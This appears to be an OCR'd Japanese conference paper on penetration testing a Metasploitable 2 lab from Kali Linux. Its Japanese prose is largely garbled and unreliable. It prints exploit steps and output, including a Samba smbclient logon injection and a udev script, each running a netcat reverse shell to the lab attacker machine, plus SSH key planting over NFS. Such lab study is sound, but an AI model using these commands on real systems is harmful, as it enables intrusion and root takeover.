57A-03
Linux > 4 A R Ba—3 3 &2 Mags i
K 4 [ 7N
AT B ARTEKRTE T EFRLFER
1LEDEREEW run CTHEITT 25 DI THEXGD root HEFR % 1Y
11 E & T&E., ZOHBa—RE2ol+5E, FFED

V7 N7 2T OBRICELT. BRbBRET
THEMELTEXF2Y TR ET NS, £
2T E D P INEEMICER T 58, EERITIX
JE 2 MEgatE RS, SN T LE-TWVD. i

FHIEITEEOH HE ZHICEESCEE LG RO
RIEBRBICFIH SN D ERERH 5.
1.2 BHY

AW TR AR Lo~ b L —v
2T ANUUTFRUTAMNEFATL, Masatto
JRIROx KA BRI H L HEHNE LTV,
EREOMIETIE, 7L —L2 T — 7 2K
a— ROFETICEELT, HBEa—REHHTL
TELRETFETEOREFIELHIETH I &
WIZEHR LTS,

2. EBRIRIE
RAFZEIZ I D EBREREE ClX, LLF® Linux <
VUoERIHLTWS.

1. Kali Linux 2019.2
NTAMNREFR 2T o EEZAMELE
Linux 7 4 A R Ea—v gy, YFg~v oY
— /L [Metasploit framework 5.0 % f\>2% %
L L, EITITHENROD root HELAZLT 5 .

2. Metasploitable 2
B L g en—raroy 7 hyo7 iy

EEMTRE~ o THY, ThEeRBES L
T 5.

3. IRFE

3.1 RIS D WETH MR AN

Nmap <> Nessus & Vo 7= a5 A & v F %
WTHEBEXNRICHFET D festtadiaE Lz,
Nmap DSEITIZ L U WERG TRK I TWVDH R
— RO —BERA R PNN— 3 VIR L7z,
F 72, Nessus (28D AKXy UFEFRTIL 46 DffEFH
PERMEI S L, Z DN 91 Critical 4

3.2 vsftpd 2.3.4

vsftpd 1% FTP 85t 2 1 H %17 57 —E L Th 5.

Metasploit @ = > Y — L H THRAET 5 &,
vsftpd_234_backdoor % & H. L 7-. 247 [ | l
0BG D IP T KL A% S —7y MIRE

3-481

SHEThoT-.

CFHN &G e username 23NIE(E SN D L RERR
— IR SN D EVHINETH -7, telnet I
Kb =T, BlZ—F T vsftpd O
A— b 21 1ZHEKE L username % 55 L7=. 11
AT & DT — b 6200 3B S 7.

:~# telnet 192.168.118.130 21

root@kali: ~ e e ¢
File Edit View Search Terminal Help

:~# telnet 192.168.118.130 6200
Yrvlﬂq 192.168.118.1360.

Flg 1 telnet connecting to vsftpd

3.3 Apache Tomcat/Coyote JSP engine 1.1

Tomcat DFEEEICIX Web 77 ) r—v g <%
— VX nH 5. iﬁi& %%%ﬁﬁb %
— N7 —RAKBEIIT L CT 7 BRI ER
{2 AF L7-. KIZ Bind Shell Z Tomcat {Z5
TuaAFThHAn— RERELFETTHE, root
FEMR TIE 72 A Tomceats5 HEFR T = L 2 {ET
Ktz LTOKR 2 [ZERLIZY =)V ERT. 72
B, Web 77V r—var~x—vxil77t
AL TTa T TNT 7 ANEBRIECED.

msf5 exploit( ) > exploit

[*] Retrieving session ID and CSRF token...
+] Uploading and deploying Y3GAW...

[*]
[*] Executing Y3GAW...
[*] Undeploying Y3GAW ...
[¥]

*] Started bind TCP handler against 192.168.118.130:4444
[*] Command shell session 1 opened (192.168.118.134:41225 ->
019-12-02 21:58:11 -0500

192.168.118.130:4444) at 2

whoami
tomcat55

cat /etc/shadow
cat: /etc/shadow: Permission denied

Fig. 2 Tomcat Bind Shell

3.4 Samba 3.0.20

Samba [Xft, OS T Windows D% b U — 7 %
REAZEHTAY 7 b7 =7 Thb. Metasploit T
Samba T 7 7 A AT T a o OfEEEM: &R H
Ly =/VERL, KIZ Metasploit 2 72V R A
FEAERED. BRSO Samba ([ZEX4 v 7 4
L, BI#—F L% nc TERZHHLZITH. B
a7 A L TCnWbH A — LT, Smbelient @
logon THER A 9%5. DK, echo 47
a v EAME LTy = VARRIZS T B 72 CF5)
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N Y R g b > >
zgi{gg_é_‘ E! 3 GL_7I<“§‘ IS ) GL_{éigl\“Zf gg 7%:.
:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.118.132] from (UNKNOWN) [192.168.118.130] 46987

whoami
root

root@kali: ~

File Edit View Search Terminal Help
:~# smbclient //192.168.118.130/tmp
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/='nc 192.168.118.132 4444 -e /bin/bash™ "
Password:

Fig. 3 Samba username map script

3.5 OpenSSL 0.9.8g

Open SSL X5 5185 7' 1 b 2 /L OERE A FE3E L
YT 2T ThDH, HEI—FROTL— |k
T h— AWEIZ L) R AR LT 41
ssha~ o NICEDIRAZTRT.

:~/Downloads# ssh -lroot -p22 -i rsa/2048//57c3115d77c56390332dc5c49978|
627a-5429 192.168.118.130
Last login: Thu Nov 7 23:21:49 2019 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

[To access official Ubuntu documentation, please visit
http://help.ubuntu.com/

You have mail.

root@metasploitable:~# id

uid=0(root) gid=e@(root) groups=e(root)

Fig. 4 lllegal Acquisition of RSA

3.6 NFS 1.20

NFS (% Linux 2381{E34 2% PCOF 4 L7 VU 3k
BIZHWD 77 AL AT AT D. ssh -keygen
THRGEH O %A 1ERL L, show mount % 31T L 7=
L Z A NFS —_"~D7T 7 & AR 220 2
DU L7z, WREOT 4 L7 N VKBRS
DNV—K T 7 ANVAT L~y N3, A
%%%W B RIZIBINT 5 Z & T 5 IZRT &

ZIEESRI RO root IR ATE -,

:~# cat ~/.ssh/id _rsa.pub >> /tmp/mot/root/.ssh/authorized
:~# umount /tmp/mot
:~# ssh root@192.168.118.130
Last login: Fri Nov 8 12:14:56 2019 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.

root@metasploitable:~# id
uid=6(root) gid=0(root) groups=6(root)

Fig. 5 Attackers can mount an NFS

3.7 UnreallRCd 3.2.8.1

IRCIZZ 747 v hAIEOF v v NEATH 728
DY 7 KU xT Thd. HexChat L) LikiE %
FEHETHRLILEZA, baAoKREEZED
N— g Tholz. Metasploit TD T = /LA
#% Meterpreter Z~A = — R|ZH5E L 7.

3-482

3.8 Distcc Daemon % Of udev 117-8 #ERR F-#&
Distcc (X o /XA AV EmELICAWA T a 7T A
TH 5. Metasploit IZXL Y~ —F TIRATE
HDT, TN AEHY—)LTHD udev DffiTs
PEZFIH UHER A 21T - 72[1]. £, Bl¥—
IF /LT apache2 @) Lo — RE2 X D1
—RCEBV R w7 V7 E2ERT D K
(2, udev DB — REWEERRIZT v 7a—
KL nc THEZREbLZITH. K%L, —ka—
POH—IF LT zb~D echo 7 a %
BOREa—NE2FTTH5Z LT 6 17T X
INCHBEXN G DO~ B EET 5 2 L7 HERR
FE A EBTE .

touch run

echo '#!/bin/sh' > run
echo '/bin/netcat -e /bin/sh 192.168.118.134 5555' >> run

gcc 8572.c -o 8572
8572.¢:110:28: warning: no newline at end of file

chmod +x 8572

./8572 2793
|

:~# nc -nlvp 5555
listening on [any] 5555 ...
connect to [192.168.118.134] from (UNKNOWN) [192.168.118.130] 60786

Fig. 6 Local privilege escalation

4, BE

AEERY By 7 Ty
—ATHEINLTWIHLOHLZ W, BEEHDHE
= D WEFGPENE D AP DD TR IR TR
a— RZEERINTLED.

Metasploit IZ&H % & 972 — 2 W T AT
Lz — RERELESAICEHTH D0
EIYDRISERHETHZENRERD 1 oL LT
275, L, EXx=2UF 4V —l
EHWEXRICOGBRERH D E, EARY 7
VT bTHEEZITLAEENDD. £
T, BASNTLES Z L Z2HHEE L TRAR
DWEIEREH S Z ERBEREZMLT 22 8 b
BETHD. I 6I1ZIE, Web H— 37 EDAT
N AT LA THONITHIORERMEE Ry FD
HHMRDHND.

BE R

[1] Sam Bowne : Proj 18x [Privilege Escalation in
Metasploitable (*Fp% 29410 H 26 H) | , (http
s://samsclass.info/124/proj14/p18xLPE.htm, 2019 4
11H 26877 ER)
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